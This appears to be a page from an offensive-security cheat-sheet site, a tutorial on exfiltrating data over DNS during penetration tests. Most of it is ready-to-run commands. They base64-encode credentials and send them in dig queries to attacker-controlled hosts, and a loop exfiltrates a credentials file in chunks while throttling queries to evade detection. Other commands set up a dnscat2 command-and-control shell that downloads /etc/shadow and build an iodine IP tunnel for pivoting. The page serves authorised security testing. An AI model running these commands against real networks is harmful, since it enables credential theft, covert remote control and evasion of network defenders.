Skip to content
HackIndex logo

HackIndex

DNS Data Exfiltration

3 min read Mar 16, 2026

DNS exfiltration encodes data into DNS queries and sends it to an attacker-controlled nameserver. It works in environments where all TCP egress is blocked but DNS lookups — typically UDP port 53 — are permitted outbound. DNS traffic is rarely inspected at the content level on most networks.

The tradeoff is bandwidth: DNS queries carry small payloads, transfer is slow, and high query volume is detectable by DNS monitoring tools. Use it for small, high-value data — credentials, keys, tokens — not large archives.

You need control of a domain and an authoritative nameserver to receive the queries. Set up an NS record pointing a subdomain at your attacker machine before the engagement.

How It Works

Data is encoded as subdomains in DNS queries:

┌──(kali㉿kali)-[~]
└─$ encoded_chunk.attacker.com

Each query carries a chunk of encoded data as a subdomain label. Your nameserver logs or captures these, reassembles them, and decodes the result. Labels are limited to 63 characters and total query length to 253 characters — so each query carries roughly 40–50 bytes of raw data after encoding overhead.

Manual Exfiltration with dig

For very small payloads — a password, a token, a hash — manual encoding works without any tooling.

Encode the data:

┌──(kali㉿kali)-[~]
└─$ echo -n "root:toor" | base64 | tr -d '='
cm9vdDp0b29y

Send it as a DNS query:

┌──(kali㉿kali)-[~]
└─$ dig cm9vdDp0b29y.$DOMAIN @$LHOST

On your attacker machine, capture queries with tcpdump:

┌──(kali㉿kali)-[~]
└─$ tcpdump -i any -n udp port 53 2>/dev/null

Or run a simple DNS server that logs all queries:

┌──(kali㉿kali)-[~]
└─$ python3 -m dnslib.server 2>/dev/null

For a file broken into chunks:

base64 -w 0 /dev/shm/.work/creds.txt | fold -w 40 | nl -nrz -w3 | while read idx chunk; do
    dig ${idx}.${chunk}.$DOMAIN @@$LHOST +short > /dev/null 2>&1
    sleep 0.5
done

The index prefix ensures chunks arrive in order. The sleep reduces query rate to avoid triggering DNS anomaly detection.

dnscat2

dnscat2 provides an encrypted command-and-control channel over DNS. It handles encoding, chunking, sequencing, and reassembly automatically.

On your attacker machine (server):

┌──(kali㉿kali)-[~]
└─$ ruby dnscat2.rb $DOMAIN --no-cache

On the target (client):

┌──(kali㉿kali)-[~]
└─$ ./dnscat2 $DOMAIN

Once connected, dnscat2 provides a shell session and file transfer commands over the DNS channel:

dnscat2 > session -i 1
command (target) 1> shell
command (target) 1> download /etc/shadow /tmp/shadow

Pre-shared secret for encrypted sessions:

┌──(kali㉿kali)-[~]
└─$ # Server
┌──(kali㉿kali)-[~]
└─$ ruby dnscat2.rb $DOMAIN --secret $PASSWORD
 
┌──(kali㉿kali)-[~]
└─$ # Client
┌──(kali㉿kali)-[~]
└─$ ./dnscat2 --secret $PASSWORD $DOMAIN

iodine — Full IP Tunnel over DNS

iodine creates a full IP tunnel over DNS, allowing arbitrary TCP connections through the DNS channel. Slower than a direct tunnel but works where only DNS egress is available.

On your attacker machine:

┌──(kali㉿kali)-[~]
└─$ iodined -f -c -P $PASSWORD 192.168.99.1 $DOMAIN

On the target:

┌──(kali㉿kali)-[~]
└─$ iodine -f -P $PASSWORD $DOMAIN

This creates a dns0 interface on both ends. Route traffic through it:

┌──(kali㉿kali)-[~]
└─$ ssh -D $LPORT [email protected]

Now use proxychains as normal through the DNS tunnel. See Proxychains and SOCKS Pivoting.

Checking DNS Egress

Before committing to DNS exfiltration, confirm DNS queries from the target reach your nameserver:

┌──(kali㉿kali)-[~]
└─$ dig test.$DOMAIN @$LHOST

If your nameserver does not receive the query, DNS egress is blocked or the target uses an internal resolver that does not forward external queries. In that case check whether the internal DNS resolver forwards unknown domains — if it does, queries for your domain will still reach you indirectly.

References